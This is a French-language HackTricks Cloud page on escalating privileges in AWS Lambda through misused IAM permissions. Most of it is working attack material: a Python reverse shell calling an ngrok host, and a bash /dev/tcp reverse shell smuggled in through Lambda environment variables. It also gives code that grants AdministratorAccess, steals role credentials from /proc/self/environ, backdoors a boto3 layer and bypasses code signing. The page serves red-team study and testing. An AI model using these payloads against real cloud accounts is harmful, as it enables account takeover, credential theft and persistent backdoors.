AWS - Lambda Privesc
Reading time: 14 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
lambda
Plus d'informations sur lambda dans:
iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)
Les utilisateurs disposant des permissions iam:PassRole, lambda:CreateFunction, et lambda:InvokeFunction peuvent escalader leurs privilèges.
Ils peuvent créer une nouvelle fonction Lambda et lui assigner un rôle IAM existant, accordant à la fonction les permissions associées à ce rôle. L'utilisateur peut ensuite écrire et téléverser du code dans cette fonction Lambda (par exemple un rev shell).
Une fois la fonction configurée, l'utilisateur peut déclencher son exécution et les actions prévues en invoquant la fonction Lambda via l'API AWS. Cette approche permet donc à l'utilisateur d'effectuer des actions de manière indirecte via la fonction Lambda, en opérant avec le niveau d'accès accordé au rôle IAM qui y est associé.\
Un attaquant pourrait abuser de ceci pour obtenir un rev shell et voler le token:
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"
# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL
# List roles
aws iam list-attached-user-policies --user-name <user-name>
Vous pourriez également abuser des permissions du rôle lambda depuis la fonction lambda elle-même.
Si le rôle lambda disposait de permissions suffisantes, vous pourriez l'utiliser pour vous accorder des droits d'administrateur :
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
Il est aussi possible de leak les credentials du rôle de la lambda sans avoir besoin d'une connexion externe. Ceci est utile pour les Network isolated Lambdas utilisées pour des tâches internes. S'il existe des security groups inconnus filtrant vos reverse shells, ce code vous permettra de leak directement les credentials en sortie de la lambda.
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
Impact potentiel : privesc direct vers le rôle de service lambda arbitraire spécifié.
caution
Notez que même si cela peut sembler intéressant lambda:InvokeAsync ne permet pas à lui seul d'exécuter aws lambda invoke-async, vous avez aussi besoin de lambda:InvokeFunction
iam:PassRole, lambda:CreateFunction, lambda:AddPermission
Comme dans le scénario précédent, vous pouvez vous accorder la permission lambda:InvokeFunction si vous avez la permission lambda:AddPermission
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
Impact potentiel : Privesc direct vers le rôle de service lambda arbitraire spécifié.
iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping
Les utilisateurs disposant des permissions iam:PassRole, lambda:CreateFunction, et lambda:CreateEventSourceMapping (et potentiellement dynamodb:PutItem et dynamodb:CreateTable) peuvent indirectement escalate privileges même sans lambda:InvokeFunction.
Ils peuvent créer une fonction Lambda contenant du code malveillant et lui assigner un rôle IAM existant.
Au lieu d'invoquer la fonction Lambda directement, l'utilisateur configure ou utilise une table DynamoDB existante, la reliant à la Lambda via un event source mapping. Cette configuration garantit que la fonction Lambda est déclenchée automatiquement lors de l'ajout d'un nouvel élément dans la table, que ce soit par l'action de l'utilisateur ou par un autre processus, invoquant ainsi indirectement la fonction Lambda et exécutant le code avec les permissions du rôle IAM passé.
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
Si DynamoDB est déjà actif dans l'environnement AWS, l'utilisateur doit uniquement établir l'event source mapping pour la fonction Lambda. Cependant, si DynamoDB n'est pas utilisé, l'utilisateur doit créer une nouvelle table avec le streaming activé :
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
Il est maintenant possible de connecter la fonction Lambda à la table DynamoDB en créant un event source mapping :
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
Avec la Lambda function liée au DynamoDB stream, the attacker peut indirectly trigger the Lambda by activating the DynamoDB stream. Cela peut être accompli en inserting an item dans la DynamoDB table:
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
Impact potentiel : Privesc direct vers le lambda service role spécifié.
lambda:AddPermission
Un attacker disposant de cette permission peut se donner (ou donner à d'autres) n'importe quelles autorisations (cela génère resource based policies pour accorder l'accès à la resource) :
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
Impact potentiel : Privesc direct vers le rôle de service lambda utilisé en accordant l'autorisation de modifier le code et de l'exécuter.
lambda:AddLayerVersionPermission
Un attaquant disposant de cette autorisation peut s'accorder (ou accorder à d'autres) l'autorisation lambda:GetLayerVersion. Il pourrait accéder à la layer et rechercher des vulnérabilités ou des informations sensibles
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
Potential Impact: Accès potentiel à des informations sensibles.
lambda:UpdateFunctionCode
Les utilisateurs disposant de la permission lambda:UpdateFunctionCode ont la possibilité de modifier le code d'une existing Lambda function qui est liée à un IAM role.
L'attaquant peut modifier le code de la lambda pour exfiltrer les IAM credentials.
Bien que l'attaquant puisse ne pas avoir la capacité directe d'invoquer la fonction, si la Lambda function est préexistante et opérationnelle, il est probable qu'elle soit déclenchée via des workflows ou des événements existants, facilitant ainsi indirectement l'exécution du code modifié.
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip
# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
Impact potentiel : Privesc direct vers le lambda service role utilisé.
lambda:UpdateFunctionConfiguration
RCE via variables d'environnement
Avec ces permissions, il est possible d'ajouter des variables d'environnement qui feront exécuter du code arbitraire par la Lambda. Par exemple, en python, il est possible d'abuser des variables d'environnement PYTHONWARNING et BROWSER pour amener un processus python à exécuter des commandes arbitraires :
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
Pour d'autres langages de script, il existe d'autres variables d'environnement (env variables) que vous pouvez utiliser. Pour plus d'informations, consultez les sous-sections des langages de script dans :
macOS Process Abuse - HackTricks
RCE via Lambda Layers
Lambda Layers permet d'inclure du code dans votre fonction lamdba tout en le stockant séparément, de sorte que le code de la fonction puisse rester petit et que plusieurs fonctions puissent partager ce code.
À l'intérieur de lambda, vous pouvez vérifier les chemins depuis lesquels le code python est chargé avec une fonction comme la suivante:
import json
import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
These are the places:
- /var/task
- /opt/python/lib/python3.7/site-packages
- /opt/python
- /var/runtime
- /var/lang/lib/python37.zip
- /var/lang/lib/python3.7
- /var/lang/lib/python3.7/lib-dynload
- /var/lang/lib/python3.7/site-packages
- /opt/python/lib/python3.7/site-packages
- /opt/python
For example, the library boto3 is loaded from /var/runtime/boto3 (4th position).
Exploitation
It's possible to abuse the permission lambda:UpdateFunctionConfiguration to add a new layer to a lambda function. To execute arbitrary code this layer need to contain some library that the lambda is going to import. If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is already using a layer and you could download the layer and add your code in there.
For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
pip3 install -t ./lambda_layer boto3
Vous pouvez ouvrir ./lambda_layer/boto3/__init__.py et ajouter la backdoor dans le code global (une fonction pour exfiltrate credentials ou obtenir un reverse shell, par exemple).
Ensuite, zippez le répertoire ./lambda_layer et uploadez le nouveau lambda layer dans votre propre compte (ou dans celui de la victime, mais il se peut que vous n'ayez pas les permissions pour cela).
Notez que vous devez créer un dossier python et y placer les bibliothèques pour override /opt/python/boto3. De plus, le layer doit être compatible avec la version de python utilisée par la lambda et si vous l'uploadez dans votre compte, il doit être dans la même région:
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
Maintenant, rendez la lambda layer téléversée accessible par n'importe quel compte:
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
Et attachez le lambda layer à la victim lambda function :
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
L'étape suivante serait soit d'invoquer la fonction nous-mêmes si nous le pouvons, soit d'attendre qu'elle soit invoquée par des moyens normaux — ce qui est la méthode la plus sûre.
Une façon plus discrète d'exploiter cette vulnérabilité se trouve dans :
AWS - Lambda Layers Persistence
Impact potentiel : Privesc direct sur le rôle de service lambda utilisé.
iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl
Peut-être qu'avec ces permissions vous pouvez créer une fonction et l'exécuter en appelant l'URL... mais je n'ai pas trouvé de moyen de le tester, alors dites-moi si vous y arrivez !
Lambda MitM
Certaines lambdas vont recevoir des informations sensibles des utilisateurs via des paramètres. Si vous obtenez un RCE dans l'une d'elles, vous pouvez exfiltrer les informations que d'autres utilisateurs lui envoient, regardez dans :
Références
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/
lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode — Contourner la signature de code Lambda
Si une fonction Lambda applique la signature du code, un attaquant qui peut soit supprimer la Code Signing Config (CSC), soit la rétrograder en mode Warn peut déployer du code non signé dans la fonction. Cela contourne les protections d'intégrité sans modifier le rôle IAM de la fonction ni ses triggers.
Permissions (l'une des suivantes) :
- Voie A :
lambda:DeleteFunctionCodeSigningConfig,lambda:UpdateFunctionCode - Voie B :
lambda:CreateCodeSigningConfig,lambda:PutFunctionCodeSigningConfig,lambda:UpdateFunctionCode
Remarques :
- Pour la Voie B, vous n'avez pas besoin d'un profil AWS Signer si la politique CSC est réglée sur
WARN(artefacts non signés autorisés).
Étapes (REGION=us-east-1, TARGET_FN=
Préparez un petit payload :
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
Chemin A) Supprimer CSC puis mettre à jour le code :
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
Option B) Rétrograder en Warn et mettre à jour le code (si la suppression n'est pas autorisée):
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
Compris.
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
Impact potentiel : Possibilité de déployer et d'exécuter du code arbitraire non signé dans une fonction qui était censée imposer des déploiements signés, pouvant entraîner l'exécution de code avec les permissions du rôle de la fonction.
Nettoyage :
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud